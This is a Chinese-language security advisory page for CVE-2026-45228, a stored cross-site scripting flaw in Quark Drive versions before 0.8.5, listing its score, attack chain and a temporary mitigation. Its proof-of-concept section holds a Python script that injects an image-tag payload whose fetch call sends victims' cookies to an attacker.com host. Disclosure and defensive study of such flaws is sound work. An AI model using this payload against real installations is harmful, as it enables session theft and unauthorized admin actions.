IPBUF安全漏洞报告
English
CVE-2026-45228 CVSS 5.4 中危

CVE-2026-45228 Quark Drive 存储型XSS漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45228
漏洞类型
存储型跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Quark Drive

相关标签

XSSQuark Drive存储型XSSWeb漏洞CVE-2026-45228

漏洞概述

Quark Drive 0.8.5之前的版本在系统配置页面存在存储型XSS漏洞。由于使用Vue.js的v-html指令渲染push_config键名且未进行转义,经过身份认证的攻击者可通过POST /update接口注入恶意脚本。该载荷会被持久化存储,并在其他用户访问配置页面时触发,从而窃取会话信息或执行未授权操作。

技术细节

该漏洞的根源在于Quark Drive前端使用了Vue.js的`v-html`指令来渲染`push_config`对象的键名。`v-html`会直接将内容作为HTML插入DOM,绕过了Vue的默认转义机制。攻击者只需低权限账号即可向`/update`端点发送POST请求,构造包含JavaScript代码的键名(例如`<img src=x onerror=alert(1)>`)。服务器将此配置保存到磁盘。当任何用户(尤其是管理员)打开系统配置标签页时,浏览器解析该HTML,执行恶意脚本,导致Cookie被盗取或执行管理员权限下的API调用。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或通过低权限账号登录Quark Drive系统。
STEP 2
2. 注入恶意载荷
攻击者向POST /update端点发送特制的JSON数据,在push_config的键名字段中注入XSS Payload。
STEP 3
3. 载荷持久化
服务器接收请求并将包含恶意代码的配置保存到磁盘。
STEP 4
4. 触发漏洞
当管理员或其他用户访问“系统配置”页面时,前端Vue.js渲染器使用v-html加载键名,导致恶意脚本在受害者浏览器中执行。
STEP 5
5. 执行攻击
恶意脚本窃取受害者的Session Cookie并发送给攻击者,或者利用受害者权限执行API操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Quark Drive instance target = "http://localhost:8080/update" # Malicious payload to execute JavaScript (e.g., steal cookie) xss_payload = '<img src=x onerror=fetch(\'http://attacker.com/?c=\'+document.cookie)>' # Prepare the malicious data structure # The vulnerability is in the 'key' of the push_config object malicious_data = { "push_config": { xss_payload: "arbitrary_value" } } # Send the POST request to store the payload response = requests.post(target, json=malicious_data) if response.status_code == 200: print("[+] Payload injected successfully. Trigger the XSS by visiting the System Configuration page.") else: print(f"[-] Injection failed. Status code: {response.status_code}")

影响范围

Quark Drive < 0.8.5

防御指南

临时缓解措施
在未升级修复前,建议管理员严格限制对系统配置功能的访问权限,仅允许核心可信人员访问。同时,定期审查系统配置文件中的键名是否存在异常字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表